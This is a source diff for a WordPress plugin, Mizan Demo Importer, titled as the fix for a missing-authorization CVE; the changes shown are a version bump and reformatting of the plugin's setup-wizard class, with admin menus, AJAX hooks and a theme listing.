CVE-2026-25021: Mizan Demo Importer <= 0.1.3 – Missing Authorization (mizan-demo-importer)

--- a/mizan-demo-importer/plugin.php
+++ b/mizan-demo-importer/plugin.php
@@ -3,7 +3,7 @@
   Plugin Name:       Mizan Demo Importer
   Plugin URI:
   Description:       This plugin helps to import demo content using elementor.
-  Version:           0.1.3
+  Version:           0.1.4
   Requires at least: 5.2
   Requires PHP:      7.2
   Author:            mizanthemes
--- a/mizan-demo-importer/theme-wizard/mizan_exporter_whizzie.php
+++ b/mizan-demo-importer/theme-wizard/mizan_exporter_whizzie.php
@@ -6,249 +6,272 @@
  * @author Catapult Themes
  * @since 1.0.0
  */
-class Mizan_Importer_ThemeWhizzie {
-    public static $is_valid_key = 'false';
-    public static $theme_key = '';
-    protected $version = '1.1.0';
-    /** @var string Current theme name, used as namespace in actions. */
-    protected $plugin_name = '';
-    protected $plugin_title = '';
-    /** @var string Wizard page slug and title. */
-    protected $page_slug = '';
-    protected $page_title = '';
-
-    protected $page_heading = '';
-    protected $plugin_path = '';
-    protected $parent_slug = '';
-
-    /** @var array Wizard steps set by user. */
-    protected $config_steps = array();
-    /**
-     * Relative plugin url for this plugin folder
-     * @since 1.0.0
-     * @var string
-     */
-    protected $plugin_url = '';
-    /**
-     * TGMPA instance storage
-     *
-     * @var object
-     */
-    protected $tgmpa_instance;
-    /**
-     * TGMPA Menu slug
-     *
-     * @var string
-     */
-    protected $tgmpa_menu_slug = 'mizan-importer-tgmpa-install-plugins';
-    /**
-     * TGMPA Menu url
-     *
-     * @var string
-     */
-    protected $tgmpa_url = 'admin.php?page=mizan-importer-tgmpa-install-plugins';
-    // Where to find the widget.wie file
-    protected $widget_file_url = '';
-    /**
-     * Constructor
-     *
-     * @param $mizan_importer_config Our config parameters
-     */
-    public function __construct($mizan_importer_config) {
-        $this->set_vars($mizan_importer_config);
-        $this->init();
-    }
-
-    public static function get_the_validation_status() {
-      return get_option('mizan_importer_pro_theme_validation_status');
-    }
-    public static function set_the_validation_status($is_valid) {
-      update_option('mizan_importer_pro_theme_validation_status', $is_valid);
-    }
-    public static function set_the_suspension_status($is_suspended) {
-      update_option('mizan_importer_pro_suspension_status', $is_suspended);
-    }
-    public static function set_the_theme_key($the_key) {
-      update_option('wp_pro_theme_key', $the_key);
-    }
-    public static function remove_the_theme_key() {
-      delete_option('wp_pro_theme_key');
-    }
-    public static function get_the_theme_key() {
-      return get_option('wp_pro_theme_key');
-    }
-
-    /**
-     * Set some settings
-     * @since 1.0.0
-     * @param $mizan_importer_config Our config parameters
-     */
-    public function set_vars($mizan_importer_config) {
-        require_once trailingslashit(MIZAN_IMPORTER_WHIZZIE_DIR) . 'tgm/tgm.php';
-        if (isset($mizan_importer_config['page_slug'])) {
-            $this->page_slug = esc_attr($mizan_importer_config['page_slug']);
-        }
-        if (isset($mizan_importer_config['page_title'])) {
-            $this->page_title = esc_attr($mizan_importer_config['page_title']);
-        }
-        if (isset($mizan_importer_config['steps'])) {
-            $this->config_steps = $mizan_importer_config['steps'];
-        }
-        if (isset($mizan_importer_config['page_heading'])) {
-            $this->page_heading = esc_attr($mizan_importer_config['page_heading']);
-        }
-        $this->plugin_path = trailingslashit(dirname(__FILE__));
-        $relative_url = str_replace(get_template_directory(), '', $this->plugin_path);
-        $this->plugin_url = trailingslashit(get_template_directory_uri() . $relative_url);
-        $this->plugin_title = MDI_NAME;
-        $this->plugin_name = strtolower(preg_replace('#[^a-zA-Z]#', '', MDI_NAME));
-        $this->page_slug = apply_filters($this->plugin_name . '_theme_setup_wizard_page_slug', $this->plugin_name . '-wizard');
-        $this->parent_slug = apply_filters($this->plugin_name . '_theme_setup_wizard_parent_slug', '');
-    }
-    /**
-     * Hooks and filters
-     * @since 1.0.0
-     */
-    public function init() {
-        add_action('activated_plugin', array($this, 'redirect_to_wizard'), 100, 2);
-        if (class_exists('MIZAN_IMPORTER_TGM_Plugin_Activation') && isset($GLOBALS['mizan_importer_tgmpa'])) {
-            add_action('init', array($this, 'get_tgmpa_instance'), 30);
-            add_action('init', array($this, 'set_tgmpa_url'), 40);
-        }
-        add_action('admin_enqueue_scripts', array($this, 'enqueue_scripts'));
-        add_action('admin_menu', array($this, 'menu_page'));
-        add_action('admin_init', array($this, 'get_plugins'), 30);
-        add_action('admin_init', array($this, 'mizan_importer_handle_free_theme_redirect'));
-        add_filter('mizan_importer_tgmpa_load', array($this, 'mizan_importer_tgmpa_load'), 10, 1);
-        add_action('wp_ajax_setup_plugins', array($this, 'setup_plugins'));
-        add_action('wp_ajax_setup_widgets', array($this, 'setup_widgets'));
-        add_action('wp_ajax_mizan_importer_setup_themes', array($this, 'mizan_importer_setup_themes'));
-        add_action('wp_ajax_wz_activate_mizan_importer_pro', array($this, 'wz_activate_mizan_importer_pro'));
-        add_action('wp_ajax_mizan_importer_setup_elementor', array($this, 'mizan_importer_setup_elementor'));
-        add_action('wp_ajax_templates_api_category_wise', array($this, 'mizan_importer_pro_templates_api_category_wise'));
-        add_action('wp_ajax_mizan_importer_install_free_theme', array($this, 'mizan_importer_install_and_activate_free_theme'));
-        add_action('wp_ajax_pagination_load_content', array($this, 'pagination_load_content'));
-        add_action('admin_enqueue_scripts', array($this, 'mizan_importer_pro_admin_plugin_style'));
-    }
-    public static function get_the_plugin_key() {
-        return get_option('mizan_importer_plugin_license_key');
-    }
-    public function redirect_to_wizard($plugin, $network_wide) {
-        global $pagenow;
-        if (is_admin() && ('plugins.php' == $pagenow) && current_user_can('manage_options') && (MDI_BASE == $plugin)) {
-            wp_redirect(esc_url(admin_url('admin.php?page=' . esc_attr($this->page_slug))));
-        }
+class Mizan_Importer_ThemeWhizzie
+{
+  public static $is_valid_key = 'false';
+  public static $theme_key = '';
+  protected $version = '1.1.0';
+  /** @var string Current theme name, used as namespace in actions. */
+  protected $plugin_name = '';
+  protected $plugin_title = '';
+  /** @var string Wizard page slug and title. */
+  protected $page_slug = '';
+  protected $page_title = '';
+
+  protected $page_heading = '';
+  protected $plugin_path = '';
+  protected $parent_slug = '';
+
+  /** @var array Wizard steps set by user. */
+  protected $config_steps = array();
+  /**
+   * Relative plugin url for this plugin folder
+   * @since 1.0.0
+   * @var string
+   */
+  protected $plugin_url = '';
+  /**
+   * TGMPA instance storage
+   *
+   * @var object
+   */
+  protected $tgmpa_instance;
+  /**
+   * TGMPA Menu slug
+   *
+   * @var string
+   */
+  protected $tgmpa_menu_slug = 'mizan-importer-tgmpa-install-plugins';
+  /**
+   * TGMPA Menu url
+   *
+   * @var string
+   */
+  protected $tgmpa_url = 'admin.php?page=mizan-importer-tgmpa-install-plugins';
+  // Where to find the widget.wie file
+  protected $widget_file_url = '';
+  /**
+   * Constructor
+   *
+   * @param $mizan_importer_config Our config parameters
+   */
+  public function __construct($mizan_importer_config)
+  {
+    $this->set_vars($mizan_importer_config);
+    $this->init();
+  }
+
+  public static function get_the_validation_status()
+  {
+    return get_option('mizan_importer_pro_theme_validation_status');
+  }
+  public static function set_the_validation_status($is_valid)
+  {
+    update_option('mizan_importer_pro_theme_validation_status', $is_valid);
+  }
+  public static function set_the_suspension_status($is_suspended)
+  {
+    update_option('mizan_importer_pro_suspension_status', $is_suspended);
+  }
+  public static function set_the_theme_key($the_key)
+  {
+    update_option('wp_pro_theme_key', $the_key);
+  }
+  public static function remove_the_theme_key()
+  {
+    delete_option('wp_pro_theme_key');
+  }
+  public static function get_the_theme_key()
+  {
+    return get_option('wp_pro_theme_key');
+  }
+
+  /**
+   * Set some settings
+   * @since 1.0.0
+   * @param $mizan_importer_config Our config parameters
+   */
+  public function set_vars($mizan_importer_config)
+  {
+    require_once trailingslashit(MIZAN_IMPORTER_WHIZZIE_DIR) . 'tgm/tgm.php';
+    if (isset($mizan_importer_config['page_slug'])) {
+      $this->page_slug = esc_attr($mizan_importer_config['page_slug']);
+    }
+    if (isset($mizan_importer_config['page_title'])) {
+      $this->page_title = esc_attr($mizan_importer_config['page_title']);
+    }
+    if (isset($mizan_importer_config['steps'])) {
+      $this->config_steps = $mizan_importer_config['steps'];
+    }
+    if (isset($mizan_importer_config['page_heading'])) {
+      $this->page_heading = esc_attr($mizan_importer_config['page_heading']);
+    }
+    $this->plugin_path = trailingslashit(dirname(__FILE__));
+    $relative_url = str_replace(get_template_directory(), '', $this->plugin_path);
+    $this->plugin_url = trailingslashit(get_template_directory_uri() . $relative_url);
+    $this->plugin_title = MDI_NAME;
+    $this->plugin_name = strtolower(preg_replace('#[^a-zA-Z]#', '', MDI_NAME));
+    $this->page_slug = apply_filters($this->plugin_name . '_theme_setup_wizard_page_slug', $this->plugin_name . '-wizard');
+    $this->parent_slug = apply_filters($this->plugin_name . '_theme_setup_wizard_parent_slug', '');
+  }
+  /**
+   * Hooks and filters
+   * @since 1.0.0
+   */
+  public function init()
+  {
+    add_action('activated_plugin', array($this, 'redirect_to_wizard'), 100, 2);
+    if (class_exists('MIZAN_IMPORTER_TGM_Plugin_Activation') && isset($GLOBALS['mizan_importer_tgmpa'])) {
+      add_action('init', array($this, 'get_tgmpa_instance'), 30);
+      add_action('init', array($this, 'set_tgmpa_url'), 40);
+    }
+    add_action('admin_enqueue_scripts', array($this, 'enqueue_scripts'));
+    add_action('admin_menu', array($this, 'menu_page'));
+    add_action('admin_init', array($this, 'get_plugins'), 30);
+    add_action('admin_init', array($this, 'mizan_importer_handle_free_theme_redirect'));
+    add_filter('mizan_importer_tgmpa_load', array($this, 'mizan_importer_tgmpa_load'), 10, 1);
+    add_action('wp_ajax_setup_plugins', array($this, 'setup_plugins'));
+    add_action('wp_ajax_setup_widgets', array($this, 'setup_widgets'));
+    add_action('wp_ajax_mizan_importer_setup_themes', array($this, 'mizan_importer_setup_themes'));
+    add_action('wp_ajax_wz_activate_mizan_importer_pro', array($this, 'wz_activate_mizan_importer_pro'));
+    add_action('wp_ajax_mizan_importer_setup_elementor', array($this, 'mizan_importer_setup_elementor'));
+    add_action('wp_ajax_templates_api_category_wise', array($this, 'mizan_importer_pro_templates_api_category_wise'));
+    add_action('wp_ajax_mizan_importer_install_free_theme', array($this, 'mizan_importer_install_and_activate_free_theme'));
+    add_action('wp_ajax_pagination_load_content', array($this, 'pagination_load_content'));
+    add_action('admin_enqueue_scripts', array($this, 'mizan_importer_pro_admin_plugin_style'));
+  }
+  public static function get_the_plugin_key()
+  {
+    return get_option('mizan_importer_plugin_license_key');
+  }
+  public function redirect_to_wizard($plugin, $network_wide)
+  {
+    global $pagenow;
+    if (is_admin() && ('plugins.php' == $pagenow) && current_user_can('manage_options') && (MDI_BASE == $plugin)) {
+      wp_redirect(esc_url(admin_url('admin.php?page=' . esc_attr($this->page_slug))));
     }
-    public function enqueue_scripts($hook) {
-
-      wp_register_script('theme-wizard-script', MDI_URL . 'theme-wizard/assets/js/theme-wizard-script.js', array('jquery'), time());
-      wp_localize_script('theme-wizard-script', 'mizan_importer_pro_whizzie_params', array('ajaxurl' => esc_url(admin_url('admin-ajax.php')), 'wpnonce' => wp_create_nonce('whizzie_nonce'), 'verify_text' => esc_html('verifying', 'mizan-demo-importer')));
-
-      if ( $hook == 'toplevel_page_' . $this->page_slug ) {
-        wp_enqueue_style('theme-wizard-style', MDI_URL . 'theme-wizard/assets/css/theme-wizard-style.css');
-        wp_enqueue_script('notify-js', MDI_URL . '/theme-wizard/assets/js/notify.min.js', array('bootstrap-js'));
-        wp_enqueue_script('theme-wizard-script');
-        wp_localize_script('elementor-exporter-wizard-script', 'mizan_importer_wizard_script_params', array(
+  }
+  public function enqueue_scripts($hook)
+  {
+
+    wp_register_script('theme-wizard-script', MDI_URL . 'theme-wizard/assets/js/theme-wizard-script.js', array('jquery'), time());
+    wp_localize_script('theme-wizard-script', 'mizan_importer_pro_whizzie_params', array('ajaxurl' => esc_url(admin_url('admin-ajax.php')), 'wpnonce' => wp_create_nonce('whizzie_nonce'), 'verify_text' => esc_html('verifying', 'mizan-demo-importer')));
+
+    if ($hook == 'toplevel_page_' . $this->page_slug) {
+      wp_enqueue_style('theme-wizard-style', MDI_URL . 'theme-wizard/assets/css/theme-wizard-style.css');
+      wp_enqueue_script('notify-js', MDI_URL . '/theme-wizard/assets/js/notify.min.js', array('bootstrap-js'));
+      wp_enqueue_script('theme-wizard-script');
+      wp_localize_script(
+        'elementor-exporter-wizard-script',
+        'mizan_importer_wizard_script_params',
+        array(
           'ajaxurl' => esc_url(admin_url('admin-ajax.php')),
           'admin_url' => esc_url(admin_url()),
           'site_url' => esc_url(site_url()),
           'wpnonce' => wp_create_nonce('mizan_importer_whizzie_nonce'),
           'verify_text' => esc_html(' verifying', MIZAN_IMPORTER_TEXT_DOMAIN),
-          'pro_badge' => esc_url(MDI_URL . 'whizzie/assets/img/pro-badge.svg'))
-        );
-        wp_enqueue_script('elementor-exporter-wizard-script');
-        wp_enqueue_script('tabs', MDI_URL . 'theme-wizard/assets/js/tab.js');
-        wp_enqueue_script('wp-notify-popup', MDI_URL . 'theme-wizard/assets/js/notify.min.js');
-      }
-
-      if ( $hook == 'toplevel_page_elemento-templates' || $hook == 'quick-start_page_mizan_importer_pro_free_themes' ) {
-        wp_enqueue_script('theme-wizard-script');
-        wp_enqueue_style('theme-wizard-fontawesome', MDI_URL . 'theme-wizard/assets/css/all.min.css');
-        wp_enqueue_style('theme-wizard-style', MDI_URL . 'theme-wizard/assets/css/theme-wizard-style.css');
-        wp_enqueue_style('bootstrap.min.css', MDI_URL . 'assets/css/bootstrap.min.css');
-        wp_enqueue_script('bootstrap.bundle.min.js', MDI_URL . 'assets/js/bootstrap.bundle.min.js');
-        wp_enqueue_script('fontawesome.min.js', MDI_URL . 'theme-wizard/assets/js/all.min.js');
-        wp_enqueue_script('pagination-templates', MDI_URL . 'theme-wizard/assets/js/pagination.js');
-      }
-    }
-    public static function get_instance() {
-        if (!self::$instance) {
-            self::$instance = new self;
-        }
-        return self::$instance;
-    }
-    public function mizan_importer_tgmpa_load($status) {
-        return is_admin() || current_user_can('install_themes');
+          'pro_badge' => esc_url(MDI_URL . 'whizzie/assets/img/pro-badge.svg')
+        )
+      );
+      wp_enqueue_script('elementor-exporter-wizard-script');
+      wp_enqueue_script('tabs', MDI_URL . 'theme-wizard/assets/js/tab.js');
+      wp_enqueue_script('wp-notify-popup', MDI_URL . 'theme-wizard/assets/js/notify.min.js');
     }
-    /**
-     * Get configured TGMPA instance
-     *
-     * @access public
-     * @since 1.1.2
-     */
-    public function get_tgmpa_instance() {
-        $this->tgmpa_instance = call_user_func(array(get_class($GLOBALS['mizan_importer_tgmpa']), 'get_instance'));
-    }
-    /**
-     * Update $tgmpa_menu_slug and $tgmpa_parent_slug from TGMPA instance
-     *
-     * @access public
-     * @since 1.1.2
-     */
-    public function set_tgmpa_url() {
-        $this->tgmpa_menu_slug = (property_exists($this->tgmpa_instance, 'menu')) ? $this->tgmpa_instance->menu : $this->tgmpa_menu_slug;
-        $this->tgmpa_menu_slug = apply_filters($this->plugin_name . '_theme_setup_wizard_tgmpa_menu_slug', $this->tgmpa_menu_slug);
-        $tgmpa_parent_slug = (property_exists($this->tgmpa_instance, 'parent_slug') && $this->tgmpa_instance->parent_slug !== 'plugin.php') ? 'admin.php' : 'plugin.php';
-        $this->tgmpa_url = apply_filters($this->plugin_name . '_theme_setup_wizard_tgmpa_url', $tgmpa_parent_slug . '?page=' . $this->tgmpa_menu_slug);
-    }
-    /**
-     * Make a modal screen for the wizard
-     */
-    public function menu_page() {
-        add_menu_page(
-          esc_html($this->page_title),
-          esc_html($this->page_title),
-          'manage_options',
-          $this->page_slug,
-          array($this, 'mizan_importer_pro_mostrar_guide'),
-          'dashicons-admin-plugins',
-          40
-        );
-
-        add_submenu_page(
-            $this->page_slug,
-            'Free Themes',
-            'Our Free Themes',
-            'manage_options',
-            'mizan_importer_pro_free_themes',
-            array($this, 'mizan_importer_pro_free_themes')
-        );

-        add_menu_page(
-          'Templates',
-          'Templates',
-          'manage_options',
-          'elemento-templates',
-          array($this, 'mizan_importer_pro_templates'),
-          'dashicons-admin-page',
-          40
-        );
+    if ($hook == 'toplevel_page_elemento-templates' || $hook == 'quick-start_page_mizan_importer_pro_free_themes') {
+      wp_enqueue_script('theme-wizard-script');
+      wp_enqueue_style('theme-wizard-fontawesome', MDI_URL . 'theme-wizard/assets/css/all.min.css');
+      wp_enqueue_style('theme-wizard-style', MDI_URL . 'theme-wizard/assets/css/theme-wizard-style.css');
+      wp_enqueue_style('bootstrap.min.css', MDI_URL . 'assets/css/bootstrap.min.css');
+      wp_enqueue_script('bootstrap.bundle.min.js', MDI_URL . 'assets/js/bootstrap.bundle.min.js');
+      wp_enqueue_script('fontawesome.min.js', MDI_URL . 'theme-wizard/assets/js/all.min.js');
+      wp_enqueue_script('pagination-templates', MDI_URL . 'theme-wizard/assets/js/pagination.js');
     }
-    public function activation_page() {
-      if(defined('GET_PREMIUM_THEME')){
-        $theme_key = Mizan_Importer_ThemeWhizzie::get_the_theme_key();
-        $validation_status = Mizan_Importer_ThemeWhizzie::get_the_validation_status();
-        ?>
-        <div class="wee-wrap">
-          <label><?php esc_html_e('Enter Your Theme License Key:', 'mizan-demo-importer'); ?></label>
-          <form id="mizan_importer_pro_license_form">
-            <input type="text" name="mizan_importer_pro_license_key" value="<?php esc_attr_e($theme_key) ?>" <?php if ($validation_status === 'true') {
+  }
+  public static function get_instance()
+  {
+    if (!self::$instance) {
+      self::$instance = new self;
+    }
+    return self::$instance;
+  }
+  public function mizan_importer_tgmpa_load($status)
+  {
+    return is_admin() || current_user_can('install_themes');
+  }
+  /**
+   * Get configured TGMPA instance
+   *
+   * @access public
+   * @since 1.1.2
+   */
+  public function get_tgmpa_instance()
+  {
+    $this->tgmpa_instance = call_user_func(array(get_class($GLOBALS['mizan_importer_tgmpa']), 'get_instance'));
+  }
+  /**
+   * Update $tgmpa_menu_slug and $tgmpa_parent_slug from TGMPA instance
+   *
+   * @access public
+   * @since 1.1.2
+   */
+  public function set_tgmpa_url()
+  {
+    $this->tgmpa_menu_slug = (property_exists($this->tgmpa_instance, 'menu')) ? $this->tgmpa_instance->menu : $this->tgmpa_menu_slug;
+    $this->tgmpa_menu_slug = apply_filters($this->plugin_name . '_theme_setup_wizard_tgmpa_menu_slug', $this->tgmpa_menu_slug);
+    $tgmpa_parent_slug = (property_exists($this->tgmpa_instance, 'parent_slug') && $this->tgmpa_instance->parent_slug !== 'plugin.php') ? 'admin.php' : 'plugin.php';
+    $this->tgmpa_url = apply_filters($this->plugin_name . '_theme_setup_wizard_tgmpa_url', $tgmpa_parent_slug . '?page=' . $this->tgmpa_menu_slug);
+  }
+  /**
+   * Make a modal screen for the wizard
+   */
+  public function menu_page()
+  {
+    add_menu_page(
+      esc_html($this->page_title),
+      esc_html($this->page_title),
+      'manage_options',
+      $this->page_slug,
+      array($this, 'mizan_importer_pro_mostrar_guide'),
+      'dashicons-admin-plugins',
+      40
+    );
+
+    add_submenu_page(
+      $this->page_slug,
+      'Free Themes',
+      'Our Free Themes',
+      'manage_options',
+      'mizan_importer_pro_free_themes',
+      array($this, 'mizan_importer_pro_free_themes')
+    );
+
+    add_menu_page(
+      'Templates',
+      'Templates',
+      'manage_options',
+      'elemento-templates',
+      array($this, 'mizan_importer_pro_templates'),
+      'dashicons-admin-page',
+      40
+    );
+  }
+  public function activation_page()
+  {
+    if (defined('GET_PREMIUM_THEME')) {
+      $theme_key = Mizan_Importer_ThemeWhizzie::get_the_theme_key();
+      $validation_status = Mizan_Importer_ThemeWhizzie::get_the_validation_status();
+      ?>
+      <div class="wee-wrap">
+        <label><?php esc_html_e('Enter Your Theme License Key:', 'mizan-demo-importer'); ?></label>
+        <form id="mizan_importer_pro_license_form">
+          <input type="text" name="mizan_importer_pro_license_key" value="<?php esc_attr_e($theme_key) ?>" <?php if ($validation_status === 'true') {
               esc_html("disabled");
             } ?> required placeholder="License Key" />
-            <div class="licence-key-button-wrap">
-              <button class="button" type="submit" name="button" <?php if ($validation_status === 'true') {
-                esc_html("disabled");
-              } ?>>
+          <div class="licence-key-button-wrap">
+            <button class="button" type="submit" name="button" <?php if ($validation_status === 'true') {
+              esc_html("disabled");
+            } ?>>
               <?php if ($validation_status === 'true') {
                 ?>
                 Activated
@@ -264,7 +287,8 @@
                 Change Key
               </button>
               <div class="next-button">
-                <button id="start-now-next" class="button" type="button" name="button" onclick="openCity(event, 'wee_demo_offer')">
+                <button id="start-now-next" class="button" type="button" name="button"
+                  onclick="openCity(event, 'wee_demo_offer')">
                   Next
                 </button>
               </div>
@@ -274,199 +298,215 @@
         </form>
       </div>
       <?php
-    }else{
+    } else {
       echo "string";
     }
   }

   // new add for free themes
-    public function mizan_importer_pro_free_themes() {
+  public function mizan_importer_pro_free_themes()
+  {

-        $current_page = isset($_GET['theme_page']) ? intval($_GET['theme_page']) : 1;
-        if ($current_page < 1) $current_page = 1;
-        // Prepare API request
-        $url = 'https://api.wordpress.org/themes/info/1.2/';
-        $args = [
-            'action' => 'query_themes',
-            'request[author]' => 'mizanthemes',
-            'request[per_page]' => 12,
-            'request[page]' => $current_page,
-        ];
-
-        $full_url = add_query_arg($args, $url);
-
-        // Make GET request
-        $response = wp_remote_get($full_url);
-
-        if (is_wp_error($response)) {
-            echo '<div class="notice notice-error"><p>Error fetching themes: ' . esc_html($response->get_error_message()) . '</p></div>';
-            return;
-        }
+    $current_page = isset($_GET['theme_page']) ? intval($_GET['theme_page']) : 1;
+    if ($current_page < 1)
+      $current_page = 1;
+    // Prepare API request
+    $url = 'https://api.wordpress.org/themes/info/1.2/';
+    $args = [
+      'action' => 'query_themes',
+      'request[author]' => 'mizanthemes',
+      'request[per_page]' => 12,
+      'request[page]' => $current_page,
+    ];

-        $code = wp_remote_retrieve_response_code($response);
-        $body = wp_remote_retrieve_body($response);
+    $full_url = add_query_arg($args, $url);

-        if ($code !== 200 || empty($body)) {
-            echo '<p>Error finding themes.</p>';
-            return;
-        }
+    // Make GET request
+    $response = wp_remote_get($full_url);

-        $data = json_decode($body, true);
+    if (is_wp_error($response)) {
+      echo '<div class="notice notice-error"><p>Error fetching themes: ' . esc_html($response->get_error_message()) . '</p></div>';
+      return;
+    }

-        if (json_last_error() !== JSON_ERROR_NONE) {
-            echo '<p>Error finding themes.</p>';
-            return;
-        }
+    $code = wp_remote_retrieve_response_code($response);
+    $body = wp_remote_retrieve_body($response);

-        $themes = !empty($data['themes']) ? $data['themes'] : [];
-        $total = isset($data['info']['results']) ? intval($data['info']['results']) : 0;
-        $total_pages = isset($data['info']['pages']) ? intval($data['info']['pages']) : 0;
+    if ($code !== 200 || empty($body)) {
+      echo '<p>Error finding themes.</p>';
+      return;
+    }

-        ?>
-        <div class="main-grid-card-overlay"></div>
-        <div class="main-grid-banner-parent">
-          <div class="row my-5 align-items-center">
-            <div class="col-md-10">
-              <h2 class="main-grid-banner-head"><?php echo esc_html('Mizan Themes,'); ?></h2>
-              <p class="main-grid-banner-para"><?php echo esc_html('Explore The Ultimate Collection of Free Elementor WordPress Themes'); ?></p>
-            </div>
-            <div class="col-md-2">
-              <img class="main-grid-banner-logo img-fluid" src="<?php echo esc_url(MDI_URL . 'theme-wizard/assets/images/banner-logo.png'); ?>" />
-            </div>
-            <div class="col-md-12">
-              <div class="main-grid-banner-coupon-parent">
-                <h3 class="main-grid-banner-coupon-heading"><?php echo esc_html('Get Flat 25% OFF On Premium Themes'); ?></h3>
-                <p class="main-grid-banner-coupon-para"><?php echo esc_html('Use Coupon Code "'); ?><span id="themeCouponCode"><?php echo esc_html('SUNNY25');?></span><?php echo esc_html('" At Check Out'); ?></p>
-              </div>
-            </div>
-          </div>
-        </div>
-        <span class="main-grid-card-parent-free-loader"></span>
-        <div class="main-grid-card-parent">
-            <div class="main-grid-card row theme-templates">
-                <?php
-                    if ($themes) {
-                    foreach ($themes as $theme) {
-                        $screenshot = !empty($theme['screenshot_url']) ? esc_url($theme['screenshot_url']) : '';
-                        $name = esc_html($theme['name']);
-                        $version = esc_html($theme['version']);
-                        $slug = esc_attr($theme['slug']);
-
-                        $theme_obj = wp_get_theme($slug);
-                        $is_installed = $theme_obj->exists();
-                        $is_active = ($is_installed && $theme_obj->get_stylesheet() === get_stylesheet());
-
-                        ?>
-
-                        <div class="main-grid-card-parent col-lg-4 col-md-6 col-12">
-                        <div class="main-grid-card-parent-inner">
-                            <div class="main-grid-card-parent-inner-image-head">
-                            <img class="main-grid-card-parent-inner-image" src="<?php echo esc_url($screenshot); ?>" width="100" height="100" alt="<?php echo esc_url($name); ?>">
-                            </div>
-                            <div class="main-grid-card-parent-inner-description">
-                            <h3><?php echo esc_html($name); ?></h3>
-                            <h6>Version: <strong><?php echo esc_html($version); ?></strong></h6>
-                            <div class="main-grid-card-parent-inner-button">
-                                <?php if ($is_active): ?>
-                                    <span class="main-grid-card-parent-inner-button-buy installed-btn"><?php echo esc_html('Activated'); ?></span>
-                                <?php elseif ($is_installed): ?>
-                                    <a target="_blank" href="#" data-theme="<?php echo $slug; ?>" class="main-grid-card-parent-inner-button-buy grid-install-free"><?php echo esc_html('Activate'); ?></a>
-                                <?php else: ?>
-                                    <a target="_blank" href="#" data-theme="<?php echo $slug; ?>" class="main-grid-card-parent-inner-button-buy grid-install-free"><?php echo esc_html('Install'); ?></a>
-                                <?php endif; ?>
-                            </div>
-                            </div>
-                        </div>
-                        </div>
-                    <?php }
-                    }
-                ?>
-            </div>
-        </div>
-        <?php if ($total_pages > 1): ?>
-            <div class="main-grid-card-pagination text-center my-2">
-                <?php if ($current_page > 1): ?>
-                    <button class="button pagination-previous-btn" onclick="location.href='<?php echo esc_url(add_query_arg('theme_page', $current_page - 1)); ?>'"><span class="dashicons dashicons-arrow-left-alt2"></span>Previous</button>
-                <?php endif; ?>
-                <span>Page <?php echo $current_page; ?> of <?php echo $total_pages; ?></span>
-                <?php if ($current_page < $total_pages): ?>
-                    <button class="button pagination-next-btn" onclick="location.href='<?php echo esc_url(add_query_arg('theme_page', $current_page + 1)); ?>'">Next<span class="dashicons dashicons-arrow-right-alt2"></span></button>
-                <?php endif; ?>
-            </div>
-        <?php endif; ?>
-    <?php }
+    $data = json_decode($body, true);

-    public function mizan_importer_handle_free_theme_redirect() {
-        if (get_transient('mizan_importer_free_theme_activation_redirect')) {
-            delete_transient('mizan_importer_free_theme_activation_redirect');
-            wp_redirect(admin_url('admin.php?page=mizandemoimporter-wizard'));
-            exit;
-        }
+    if (json_last_error() !== JSON_ERROR_NONE) {
+      echo '<p>Error finding themes.</p>';
+      return;
     }

-    public function mizan_importer_install_and_activate_free_theme() {
-        check_ajax_referer('whizzie_nonce', '_wpnonce');
+    $themes = !empty($data['themes']) ? $data['themes'] : [];
+    $total = isset($data['info']['results']) ? intval($data['info']['results']) : 0;
+    $total_pages = isset($data['info']['pages']) ? intval($data['info']['pages']) : 0;

-        // Check user permissions to install free themes.
-        if (!current_user_can('install_themes') || !isset($_POST['theme_domain'])) {
-            wp_send_json_error(array('message' => 'You do not have sufficient permissions to install themes.'));
+    ?>
+    <div class="main-grid-card-overlay"></div>
+    <div class="main-grid-banner-parent">
+      <div class="row my-5 align-items-center">
+        <div class="col-md-10">
+          <h2 class="main-grid-banner-head"><?php echo esc_html('Mizan Themes,'); ?></h2>
+          <p class="main-grid-banner-para">
+            <?php echo esc_html('Explore The Ultimate Collection of Free Elementor WordPress Themes'); ?></p>
+        </div>
+        <div class="col-md-2">
+          <img class="main-grid-banner-logo img-fluid"
+            src="<?php echo esc_url(MDI_URL . 'theme-wizard/assets/images/banner-logo.png'); ?>" />
+        </div>
+        <div class="col-md-12">
+          <div class="main-grid-banner-coupon-parent">
+            <h3 class="main-grid-banner-coupon-heading"><?php echo esc_html('Get Flat 25% OFF On Premium Themes'); ?></h3>
+            <p class="main-grid-banner-coupon-para"><?php echo esc_html('Use Coupon Code "'); ?><span
+                id="themeCouponCode"><?php echo esc_html('SUNNY25'); ?></span><?php echo esc_html('" At Check Out'); ?></p>
+          </div>
+        </div>
+      </div>
+    </div>
+    <span class="main-grid-card-parent-free-loader"></span>
+    <div class="main-grid-card-parent">
+      <div class="main-grid-card row theme-templates">
+        <?php
+        if ($themes) {
+          foreach ($themes as $theme) {
+            $screenshot = !empty($theme['screenshot_url']) ? esc_url($theme['screenshot_url']) : '';
+            $name = esc_html($theme['name']);
+            $version = esc_html($theme['version']);
+            $slug = esc_attr($theme['slug']);
+
+            $theme_obj = wp_get_theme($slug);
+            $is_installed = $theme_obj->exists();
+            $is_active = ($is_installed && $theme_obj->get_stylesheet() === get_stylesheet());
+
+            ?>
+
+            <div class="main-grid-card-parent col-lg-4 col-md-6 col-12">
+              <div class="main-grid-card-parent-inner">
+                <div class="main-grid-card-parent-inner-image-head">
+                  <img class="main-grid-card-parent-inner-image" src="<?php echo esc_url($screenshot); ?>" width="100"
+                    height="100" alt="<?php echo esc_url($name); ?>">
+                </div>
+                <div class="main-grid-card-parent-inner-description">
+                  <h3><?php echo esc_html($name); ?></h3>
+                  <h6>Version: <strong><?php echo esc_html($version); ?></strong></h6>
+                  <div class="main-grid-card-parent-inner-button">
+                    <?php if ($is_active): ?>
+                      <span
+                        class="main-grid-card-parent-inner-button-buy installed-btn"><?php echo esc_html('Activated'); ?></span>
+                    <?php elseif ($is_installed): ?>
+                      <a target="_blank" href="#" data-theme="<?php echo $slug; ?>"
+                        class="main-grid-card-parent-inner-button-buy grid-install-free"><?php echo esc_html('Activate'); ?></a>
+                    <?php else: ?>
+                      <a target="_blank" href="#" data-theme="<?php echo $slug; ?>"
+                        class="main-grid-card-parent-inner-button-buy grid-install-free"><?php echo esc_html('Install'); ?></a>
+                    <?php endif; ?>
+                  </div>
+                </div>
+              </div>
+            </div>
+          <?php }
         }
+        ?>
+      </div>
+    </div>
